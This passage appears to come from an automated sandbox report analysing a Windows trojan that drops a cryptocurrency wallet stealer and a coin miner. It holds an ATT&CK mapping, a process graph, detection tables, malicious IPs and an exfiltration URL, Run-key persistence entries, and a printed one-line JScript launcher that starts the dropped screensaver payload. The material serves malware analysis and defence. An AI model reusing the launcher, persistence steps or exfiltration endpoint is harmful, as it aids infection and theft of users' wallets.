                              Source: Yara matchFile source: 0000002F.00000002.3065794170.0000000000C00000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 00000026.00000002.2986340627.0000000002F90000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000002C.00000002.3016229500.00000000035F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000002C.00000002.3016446339.0000000003990000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000002C.00000002.3016304287.0000000003780000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: Process Memory Space: curl.exe PID: 5732, type: MEMORYSTR
                              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\walletstealer.bat, type: DROPPED
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_0082696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,24_2_0082696E
                              Source: C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrCode function: 24_2_00826E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,24_2_00826E32

                              Mitre Att&ck Matrix

                              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                              Gather Victim Identity Information111
                              Scripting                              		2
                              Valid Accounts                              		31
                              Windows Management Instrumentation                              		111
                              Scripting                              		1
                              Exploitation for Privilege Escalation                              		111
                              Disable or Modify Tools                              		21
                              Input Capture                              		2
                              System Time Discovery                              		Remote Services11
                              Archive Collected Data                              		1
                              Ingress Tool Transfer                              		Exfiltration Over Other Network Medium1
                              System Shutdown/Reboot
                              CredentialsDomainsDefault Accounts1
                              Native API                              		1
                              DLL Side-Loading                              		1
                              DLL Side-Loading                              		11
                              Deobfuscate/Decode Files or Information                              		LSASS Memory1
                              Account Discovery                              		Remote Desktop Protocol2
                              Data from Local System                              		1
                              Encrypted Channel                              		Exfiltration Over BluetoothNetwork Denial of Service
                              Email AddressesDNS ServerDomain Accounts11
                              Scheduled Task/Job                              		2
                              Valid Accounts                              		2
                              Valid Accounts                              		31
                              Obfuscated Files or Information                              		Security Account Manager3
                              File and Directory Discovery                              		SMB/Windows Admin Shares21
                              Input Capture                              		SteganographyAutomated ExfiltrationData Encrypted for Impact
                              Employee NamesVirtual Private ServerLocal Accounts1
                              PowerShell                              		1
                              Windows Service                              		21
                              Access Token Manipulation                              		12
                              Software Packing                              		NTDS47
                              System Information Discovery                              		Distributed Component Object Model4
                              Clipboard Data                              		Protocol ImpersonationTraffic DuplicationData Destruction
                              Gather Victim Network InformationServerCloud AccountsLaunchd11
                              Scheduled Task/Job                              		1
                              Windows Service                              		1
                              Timestomp                              		LSA Secrets1
                              Query Registry                              		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                              Domain PropertiesBotnetReplication Through Removable MediaScheduled Task11
                              Registry Run Keys / Startup Folder                              		212
                              Process Injection                              		1
                              DLL Side-Loading                              		Cached Domain Credentials151
                              Security Software Discovery                              		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup Items11
                              Scheduled Task/Job                              		121
                              Masquerading                              		DCSync61
                              Virtualization/Sandbox Evasion                              		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/Job11
                              Registry Run Keys / Startup Folder                              		2
                              Valid Accounts                              		Proc Filesystem4
                              Process Discovery                              		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                              Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt61
                              Virtualization/Sandbox Evasion                              		/etc/passwd and /etc/shadow11
                              Application Window Discovery                              		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                              IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron21
                              Access Token Manipulation                              		Network Sniffing1
                              System Owner/User Discovery                              		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
                              Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd212
                              Process Injection                              		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

                              Behavior Graph

                              Hide Legend

                              Legend:

                              • Process
                              • Signature
                              • Created File
                              • DNS/IP Info
                              • Is Dropped
                              • Is Windows Process
                              • Number of created Registry Values
                              • Number of created Files
                              • Visual Basic
                              • Delphi
                              • Java
                              • .Net C# or VB.NET
                              • C, C++ or other language
                              • Is malicious
                              • Internet
                              behaviorgraph top1 signatures2 2 Behavior Graph ID: 1567582 Sample: File.exe Startdate: 03/12/2024 Architecture: WINDOWS Score: 100 135 Found malware configuration 2->135 137 Malicious sample detected (through community Yara rule) 2->137 139 Antivirus detection for URL or domain 2->139 141 22 other signatures 2->141 11 File.exe 21 2->11         started        14 wscript.exe 1 2->14         started        17 COMSurrogate.exe 2->17         started        19 3 other processes 2->19 process3 file4 97 C:\Users\user\AppData\Local\...\Commissioner, PE32 11->97 dropped 99 C:\Users\user\AppData\Local\Temp\Artistic, DOS 11->99 dropped 21 cmd.exe 3 11->21         started        165 Windows Scripting host queries suspicious COM object (likely to drop second stage) 14->165 25 ApolloPro.scr 14->25         started        signatures5 process6 file7 87 C:\Users\user\AppData\Local\Temp\...\Dr.com, PE32 21->87 dropped 143 Suspicious powershell command line found 21->143 145 Drops PE files with a suspicious file extension 21->145 147 Uses schtasks.exe or at.exe to add and modify task schedules 21->147 149 Adds a directory exclusion to Windows Defender 21->149 27 Dr.com 5 21->27         started        31 cmd.exe 2 21->31         started        33 conhost.exe 21->33         started        35 6 other processes 21->35 signatures8 process9 file10 101 C:\Users\user\AppData\Local\...\ApolloPro.scr, PE32 27->101 dropped 103 C:\Users\user\AppData\Local\...\ApolloPro.js, ASCII 27->103 dropped 105 C:\Users\user\AppData\Local\...\RegAsm.exe, PE32 27->105 dropped 159 Drops PE files with a suspicious file extension 27->159 161 Writes to foreign memory regions 27->161 163 Injects a PE file into a foreign processes 27->163 37 RegAsm.exe 19 27->37         started        42 cmd.exe 1 27->42         started        44 schtasks.exe 1 27->44         started        signatures11 process12 dnsIp13 111 45.74.38.211 M247GB United States 37->111 113 212.229.88.28 NEXINTO-DE United Kingdom 37->113 89 C:\Users\user\AppData\...\smartscreen.exe, PE32+ 37->89 dropped 91 C:\Users\user\AppData\...\COMSurrogate.exe, PE32+ 37->91 dropped 93 C:\Users\user\AppData\...\walletstealer.bat, DOS 37->93 dropped 95 C:\Users\user\AppData\Local\Temp\ex.bat, DOS 37->95 dropped 151 Protects its processes via BreakOnTermination flag 37->151 153 Loading BitLocker PowerShell Module 37->153 155 Reads the Security eventlog 37->155 157 Reads the System eventlog 37->157 46 COMSurrogate.exe 37->46         started        51 cmd.exe 37->51         started        53 cmd.exe 37->53         started        61 2 other processes 37->61 55 conhost.exe 42->55         started        57 schtasks.exe 1 42->57         started        59 conhost.exe 44->59         started        file14 signatures15 process16 dnsIp17 115 203.161.45.11 VNPT-AS-VNVNPTCorpVN Malaysia 46->115 107 C:\Users\user\AppData\Local\asm\mi.exe, PE32+ 46->107 dropped 109 C:\Users\user\AppData\...\WinRing0x64.sys, PE32+ 46->109 dropped 121 Machine Learning detection for dropped file 46->121 123 Creates multiple autostart registry keys 46->123 125 Sample is not signed and drops a device driver 46->125 127 Tries to steal Crypto Currency Wallets 51->127 63 cmd.exe 51->63         started        65 cmd.exe 51->65         started        67 conhost.exe 51->67         started        77 2 other processes 51->77 129 Suspicious powershell command line found 53->129 131 Adds a directory exclusion to Windows Defender 53->131 69 net.exe 53->69         started        71 conhost.exe 53->71         started        73 powershell.exe 53->73         started        75 conhost.exe 61->75         started        file18 signatures19 process20 process21 79 curl.exe 63->79         started        83 curl.exe 65->83         started        85 net1.exe 69->85         started        dnsIp22 117 104.26.13.205 CLOUDFLARENETUS United States 79->117 119 127.0.0.1 unknown unknown 79->119 133 Found many strings related to Crypto-Wallets (likely being stolen) 79->133 signatures23

                              Screenshots

                              Thumbnails

                              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                              windows-stand

                              Antivirus, Machine Learning and Genetic Malware Detection

                              Initial Sample

                              SourceDetectionScannerLabelLink
                              File.exe37%ReversingLabsWin32.Trojan.Generic

                              Dropped Files

                              SourceDetectionScannerLabelLink
                              C:\Users\user\AppData\Local\asm\mi.exe100%AviraHEUR/AGEN.1311679
                              C:\Users\user\AppData\Local\Temp\smartscreen.exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\asm\mi.exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\Temp\COMSurrogate.exe100%Joe Sandbox ML
                              C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scr3%ReversingLabs
                              C:\Users\user\AppData\Local\Temp\491505\Dr.com3%ReversingLabs
                              C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe0%ReversingLabs
                              C:\Users\user\AppData\Local\Temp\Artistic0%ReversingLabs
                              C:\Users\user\AppData\Local\Temp\COMSurrogate.exe8%ReversingLabs
                              C:\Users\user\AppData\Local\Temp\Commissioner3%ReversingLabs
                              C:\Users\user\AppData\Local\asm\WinRing0x64.sys5%ReversingLabs
                              C:\Users\user\AppData\Local\asm\mi.exe61%ReversingLabsWin64.Trojan.Miner

                              Unpacked PE Files

                              ⊘No Antivirus matches

                              Domains

                              ⊘No Antivirus matches

                              URLs

                              SourceDetectionScannerLabelLink
                              https://cdn-downloads-now.xyz/files/upload.php100%Avira URL Cloudmalware
                              https://cdn-downloads-now.xyz/files/upload.php#100%Avira URL Cloudmalware
                              https://api.ipify.org70%Avira URL Cloudsafe

                              Domains and IPs

                              Contacted Domains

                              ⊘No contacted domains info

                              URLs from Memory and Binaries

                              NameSourceMaliciousAntivirus DetectionReputation
                              https://api.ipify.org/curl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                http://www.autoitscript.com/autoit3/JDr.com, 0000000F.00000003.1312358911.0000000003D1C000.00000004.00000800.00020000.00000000.sdmp, Dr.com, 0000000F.00000000.1295549227.00000000010B9000.00000002.00000001.01000000.00000008.sdmp, ApolloPro.scr, 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpfalse
                                  		high
                                  https://cdn-downloads-now.xyz/files/upload.php#curl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: malware
                                  		unknown
                                  https://api.ipify.orgcurl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		high
                                    http://nsis.sf.net/NSIS_ErrorErrorFile.exe, 00000000.00000000.1260292066.0000000000409000.00000002.00000001.01000000.00000003.sdmp, File.exe, 00000000.00000002.1268682385.0000000000409000.00000002.00000001.01000000.00000003.sdmpfalse
                                      		high
                                      https://cdn-downloads-now.xyz/files/upload.phpcurl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: malware
                                      		unknown
                                      https://api.ipify.org7curl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      https://www.autoitscript.com/autoit3/Dr.com, 0000000F.00000003.1312358911.0000000003D1C000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        https://api.ipify.org/gcurl.exe, 0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high

                                          World Map of Contacted IPs

                                          • No. of IPs < 25%
                                          • 25% < No. of IPs < 50%
                                          • 50% < No. of IPs < 75%
                                          • 75% < No. of IPs

                                          Public IPs

                                          IPDomainCountryFlagASNASN NameMalicious
                                          203.161.45.11
                                          		unknownMalaysia
                                          		45899VNPT-AS-VNVNPTCorpVNfalse
                                          212.229.88.28
                                          		unknownUnited Kingdom
                                          		6659NEXINTO-DEfalse
                                          104.26.13.205
                                          		unknownUnited States
                                          		13335CLOUDFLARENETUSfalse
                                          45.74.38.211
                                          		unknownUnited States
                                          		9009M247GBtrue

                                          Private

                                          IP
                                          127.0.0.1

                                          General Information

                                          Joe Sandbox version:41.0.0 Charoite
                                          Analysis ID:1567582
                                          Start date and time:2024-12-03 17:10:59 +01:00
                                          Joe Sandbox product:CloudBasic
                                          Overall analysis duration:0h 13m 53s
                                          Hypervisor based Inspection enabled:false
                                          Report type:full
                                          Cookbook file name:default.jbs
                                          Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                          Number of analysed new started processes analysed:53
                                          Number of new started drivers analysed:0
                                          Number of existing processes analysed:0
                                          Number of existing drivers analysed:0
                                          Number of injected processes analysed:0
                                          Technologies:
                                          • HCA enabled
                                          • EGA enabled
                                          • AMSI enabled
                                          Analysis Mode:default
                                          Analysis stop reason:Timeout
                                          Sample name:File.exe
                                          Detection:MAL
                                          Classification:mal100.troj.spyw.evad.mine.winEXE@71/48@0/5
                                          EGA Information:
                                          • Successful, ratio: 75%
                                          HCA Information:
                                          • Successful, ratio: 100%
                                          • Number of executed functions: 80
                                          • Number of non-executed functions: 313
                                          Cookbook Comments:
                                          • Found application associated with file extension: .exe
                                          • Override analysis time to 240000 for current running targets taking high CPU consumption

                                          Warnings

                                          • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
                                          • Execution Graph export aborted for target COMSurrogate.exe, PID 5980 because it is empty
                                          • Not all processes where analyzed, report is missing behavior information
                                          • Report creation exceeded maximum time and may have missing disassembly code information.
                                          • Report size exceeded maximum capacity and may have missing behavior information.
                                          • Report size exceeded maximum capacity and may have missing disassembly code.
                                          • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                          • Report size getting too big, too many NtCreateKey calls found.
                                          • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                          • Report size getting too big, too many NtEnumerateKey calls found.
                                          • Report size getting too big, too many NtOpenKeyEx calls found.
                                          • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                          • Report size getting too big, too many NtQueryValueKey calls found.
                                          • Report size getting too big, too many NtReadVirtualMemory calls found.
                                          • Report size getting too big, too many NtSetInformationFile calls found.
                                          • Skipping network analysis since amount of network traffic is too extensive
                                          • VT rate limit hit for: File.exe

                                          Simulations

                                          Behavior and APIs

                                          TimeTypeDescription
                                          11:11:54API Interceptor1x Sleep call for process: File.exe modified
                                          12:55:44API Interceptor5194x Sleep call for process: Dr.com modified
                                          12:57:41API Interceptor348798x Sleep call for process: RegAsm.exe modified
                                          12:57:55API Interceptor29470x Sleep call for process: COMSurrogate.exe modified
                                          12:57:56API Interceptor18x Sleep call for process: powershell.exe modified
                                          12:58:27API Interceptor370755x Sleep call for process: smartscreen.exe modified
                                          17:11:59Task SchedulerRun new task: ApolloPro path: wscript s>//B "C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js"
                                          18:57:56AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run COM Surrogate C:\Users\user\AppData\Local\Temp\COMSurrogate.exe
                                          18:58:04AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SmartScreen C:\Users\user\AppData\Local\Temp\smartscreen.exe
                                          18:58:12AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run COM Surrogate C:\Users\user\AppData\Local\Temp\COMSurrogate.exe
                                          18:58:21AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SmartScreen C:\Users\user\AppData\Local\Temp\smartscreen.exe

                                          Joe Sandbox View / Context

                                          IPs

                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                          104.26.13.2052b7cu0KwZl.exeGet hashmaliciousUnknownBrowse
                                          • api.ipify.org/
                                          file.exeGet hashmaliciousUnknownBrowse
                                          • api.ipify.org/
                                          file.exeGet hashmaliciousLummaC, PrivateLoader, Stealc, VidarBrowse
                                          • api.ipify.org/
                                          file.exeGet hashmaliciousLummaC, PrivateLoader, Stealc, VidarBrowse
                                          • api.ipify.org/
                                          file.exeGet hashmaliciousRDPWrap ToolBrowse
                                          • api.ipify.org/
                                          Prismifyr-Install.exeGet hashmaliciousNode StealerBrowse
                                          • api.ipify.org/
                                          file.exeGet hashmaliciousLummaC, PrivateLoader, Stealc, VidarBrowse
                                          • api.ipify.org/
                                          file.exeGet hashmaliciousLummaC, RDPWrap Tool, LummaC Stealer, VidarBrowse
                                          • api.ipify.org/
                                          file.exeGet hashmaliciousUnknownBrowse
                                          • api.ipify.org/
                                          file.exeGet hashmaliciousLummaC, RDPWrap Tool, LummaC Stealer, Stealc, VidarBrowse
                                          • api.ipify.org/

                                          Domains

                                          ⊘No context

                                          ASNs

                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                          NEXINTO-DEla.bot.arm5.elfGet hashmaliciousUnknownBrowse
                                          • 212.228.4.135
                                          la.bot.mips.elfGet hashmaliciousUnknownBrowse
                                          • 194.163.209.67
                                          W3UokmKK3o.msiGet hashmaliciousUnknownBrowse
                                          • 195.179.237.110
                                          A2028041200SD.exeGet hashmaliciousFormBookBrowse
                                          • 194.195.220.41
                                          arm7.elfGet hashmaliciousMirai, MoobotBrowse
                                          • 212.229.165.81
                                          ppc.elfGet hashmaliciousMiraiBrowse
                                          • 195.180.12.28
                                          x86_32.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                          • 212.228.240.237
                                          arm5.elfGet hashmaliciousMiraiBrowse
                                          • 194.195.203.106
                                          la.bot.arm6.elfGet hashmaliciousUnknownBrowse
                                          • 194.64.28.128
                                          powerpc.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                          • 194.195.194.150
                                          CLOUDFLARENETUS#Ud83d#Ude0e.pdfGet hashmaliciousPorn ScamBrowse
                                          • 188.114.97.6
                                          LEmJJ87mUQ.exeGet hashmaliciousLokibotBrowse
                                          • 172.67.134.88
                                          https://odinling.es/sharep/sharepp/index1.html#info@securusmonitoring.comGet hashmaliciousUnknownBrowse
                                          • 172.67.131.129
                                          v58HgfB8Af.exeGet hashmaliciousAgentTeslaBrowse
                                          • 104.26.13.205
                                          https://policy-business-page-service.com/meta-community-standard-s31000650257803499Get hashmaliciousUnknownBrowse
                                          • 104.17.245.203
                                          Audit(s) & Inspection(s) Due and Overdue Notification for Baez Rossy, Jafeth.emlGet hashmaliciousUnknownBrowse
                                          • 104.16.117.116
                                          zwW6sDt6hU.exeGet hashmaliciousAgentTesla, DarkTortillaBrowse
                                          • 104.26.12.205
                                          Belegdetails Nr378-938-027181-PDF.htmlGet hashmaliciousWinSearchAbuseBrowse
                                          • 172.64.41.3
                                          e7lGwhCp7r.exeGet hashmaliciousAgentTeslaBrowse
                                          • 104.26.12.205
                                          4z0JKnfc8L.xlsxGet hashmaliciousUnknownBrowse
                                          • 172.67.194.230
                                          M247GBaDGx3jaI7i.exeGet hashmaliciousRemcosBrowse
                                          • 104.250.180.178
                                          ISF (TWN24110458 - Invoice & Packing List PO POUS120000241, POUS120000771.scr.exeGet hashmaliciousRemcosBrowse
                                          • 104.250.180.178
                                          THITWNSEI24112908089786756456545346568789-00010.scr.exeGet hashmaliciousXWormBrowse
                                          • 104.250.180.178
                                          rAttached_updat.vbsGet hashmaliciousGuLoader, RemcosBrowse
                                          • 172.111.247.228
                                          teste.arm.elfGet hashmaliciousGafgyt, Mirai, Moobot, OkiruBrowse
                                          • 158.46.140.103
                                          sora.ppc.elfGet hashmaliciousMiraiBrowse
                                          • 38.201.44.7
                                          la.bot.arm5.elfGet hashmaliciousUnknownBrowse
                                          • 62.216.72.28
                                          arm7-20241130-2047.elfGet hashmaliciousMiraiBrowse
                                          • 38.206.34.38
                                          sample.bin.exeGet hashmaliciousUnknownBrowse
                                          • 172.86.76.228
                                          sample.bin.exeGet hashmaliciousUnknownBrowse
                                          • 172.86.76.228
                                          VNPT-AS-VNVNPTCorpVNYH-3-12-2024-GDL Units - Projects.exeGet hashmaliciousFormBookBrowse
                                          • 203.161.42.73
                                          Proforma invoice - Arancia NZ.exeGet hashmaliciousFormBookBrowse
                                          • 202.92.5.23
                                          sora.sh4.elfGet hashmaliciousMiraiBrowse
                                          • 113.181.189.124
                                          sora.mips.elfGet hashmaliciousMiraiBrowse
                                          • 14.181.166.100
                                          sora.ppc.elfGet hashmaliciousMiraiBrowse
                                          • 14.248.199.27
                                          la.bot.m68k.elfGet hashmaliciousMiraiBrowse
                                          • 123.25.106.112
                                          la.bot.arm7.elfGet hashmaliciousMiraiBrowse
                                          • 14.185.133.135
                                          mips.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                          • 14.185.70.13
                                          arm.nn-20241201-1515.elfGet hashmaliciousMirai, OkiruBrowse
                                          • 123.29.185.8
                                          sora.m68k.elfGet hashmaliciousMiraiBrowse
                                          • 14.176.84.147

                                          JA3 Fingerprints

                                          ⊘No context

                                          Dropped Files

                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                          C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scrFull_Setup_v24.exeGet hashmaliciousLummaC StealerBrowse
                                            file.exeGet hashmaliciousLummaC, Amadey, Clipboard Hijacker, LummaC StealerBrowse
                                              'Setup.exeGet hashmaliciousLummaC StealerBrowse
                                                !SET__UP.exeGet hashmaliciousLummaC StealerBrowse
                                                  file.exeGet hashmaliciousUnknownBrowse
                                                    file.exeGet hashmaliciousUnknownBrowse
                                                      lem.exeGet hashmaliciousVidarBrowse
                                                        receipt-016.vbsGet hashmaliciousRemcos, AsyncRAT, XWormBrowse
                                                          Lw5RC3lKVg.exeGet hashmaliciousStealcBrowse
                                                            file.exeGet hashmaliciousDanaBotBrowse

                                                              Created / dropped Files

                                                              C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe
                                                              File Type:Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
                                                              Category:dropped
                                                              Size (bytes):71954
                                                              Entropy (8bit):7.996617769952133
                                                              Encrypted:true
                                                              SSDEEP:1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
                                                              MD5:49AEBF8CBD62D92AC215B2923FB1B9F5
                                                              SHA1:1723BE06719828DDA65AD804298D0431F6AFF976
                                                              SHA-256:B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
                                                              SHA-512:BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
                                                              Malicious:false
                                                              Preview:MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..*Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=*....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.|.c.&>?..^t. ..;..X.d.E.0G....[Q.*,*......#.Dp..L.o|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

                                                              C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):328
                                                              Entropy (8bit):3.150184159866505
                                                              Encrypted:false
                                                              SSDEEP:6:kKpYn9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:PDnLNkPlE99SNxAhUe/3
                                                              MD5:0B14D66FC00ACA55B538D9695E4CADD8
                                                              SHA1:0BF8C97A5D9B7CF0C664835AB2A223FD707F614D
                                                              SHA-256:7C23952ABAF3C08A658CD3FC4FF41A8810FF4FC074241D8BAE1F37049848B2FE
                                                              SHA-512:FB61A448E2D10ED1E5A6CCB426B08FB136BB2266A74ACED65FE9B8E5451C1222194A103B43FA4A9C27755EF2CF4A81621421850C8F3C6019A66D5205A6CAAB46
                                                              Malicious:false
                                                              Preview:p...... ........6....E..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

                                                              C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\491505\Dr.com
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):182
                                                              Entropy (8bit):4.700755405946778
                                                              Encrypted:false
                                                              SSDEEP:3:RiMIpGXIdPHo55wWAX+d4a+kEkD5mXsMd5NJLW2FZo5uWAX+d4a+kEkD5mXsMd5p:RiJBJHonwWD+vkDFQ5vfFywWD+vkDFQ/
                                                              MD5:59C6ECD45973677F5715AE728AF4DEF0
                                                              SHA1:FB42C5308B29E2E71D6501809671D9571590C87E
                                                              SHA-256:EFCD3786239FA7420A0330F137F475C8D9206205AE83F6CE66CE60918B2BBDFC
                                                              SHA-512:C28B4E115FB70E551045806912B49E345B887317F373844E39F51A2E41539479A5FF73EC780250016521C048DE85E70E1C25675DAA617E68B1BE41DB01160092
                                                              Malicious:true
                                                              Preview:new ActiveXObject("Wscript.Shell").Exec("\"C:\\Users\\user\\AppData\\Local\\CreativePixel Tech\\ApolloPro.scr\" \"C:\\Users\\user\\AppData\\Local\\CreativePixel Tech\\E\"")

                                                              C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scr

                                                              Download File
                                                              Process:C:\Users\user\AppData\Local\Temp\491505\Dr.com
                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                              Category:dropped
                                                              Size (bytes):893608
                                                              Entropy (8bit):6.620254876639106
                                                              Encrypted:false
                                                              SSDEEP:12288:DpVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31troPTdFqgaAV2M0L:DT3E53Myyzl0hMf1te7xaA8M0L
                                                              MD5:6EE7DDEBFF0A2B78C7AC30F6E00D1D11
                                                              SHA1:F2F57024C7CC3F9FF5F999EE20C4F5C38BFC20A2
                                                              SHA-256:865347471135BB5459AD0E647E75A14AD91424B6F13A5C05D9ECD9183A8A1CF4
                                                              SHA-512:57D56DE2BB882F491E633972003D7C6562EF2758C3731B913FF4D15379ADA575062F4DE2A48CA6D6D9241852A5B8A007F52792753FD8D8FEE85B9A218714EFD0
                                                              Malicious:true
                                                              Antivirus:
                                                              • Antivirus: ReversingLabs, Detection: 3%
                                                              Joe Sandbox View:
                                                              • Filename: Full_Setup_v24.exe, Detection: malicious, Browse
                                                              • Filename: file.exe, Detection: malicious, Browse
                                                              • Filename: 'Setup.exe, Detection: malicious, Browse
                                                              • Filename: !SET__UP.exe, Detection: malicious, Browse
                                                              • Filename: file.exe, Detection: malicious, Browse
                                                              • Filename: file.exe, Detection: malicious, Browse
                                                              • Filename: lem.exe, Detection: malicious, Browse
                                                              • Filename: receipt-016.vbs, Detection: malicious, Browse
                                                              • Filename: Lw5RC3lKVg.exe, Detection: malicious, Browse
                                                              • Filename: file.exe, Detection: malicious, Browse
                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R.*.R.*.R.*..C..P.*....S.*._@..a.*._@....*._@..g.*.[j..[.*.[j..w.*.R.+.r.*......*....S.*._@..S.*.R...P.*....S.*.RichR.*.........................PE..L......Z.........."...............................@.................................Jo....@...@.......@.........................|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

                                                              C:\Users\user\AppData\Local\CreativePixel Tech\E

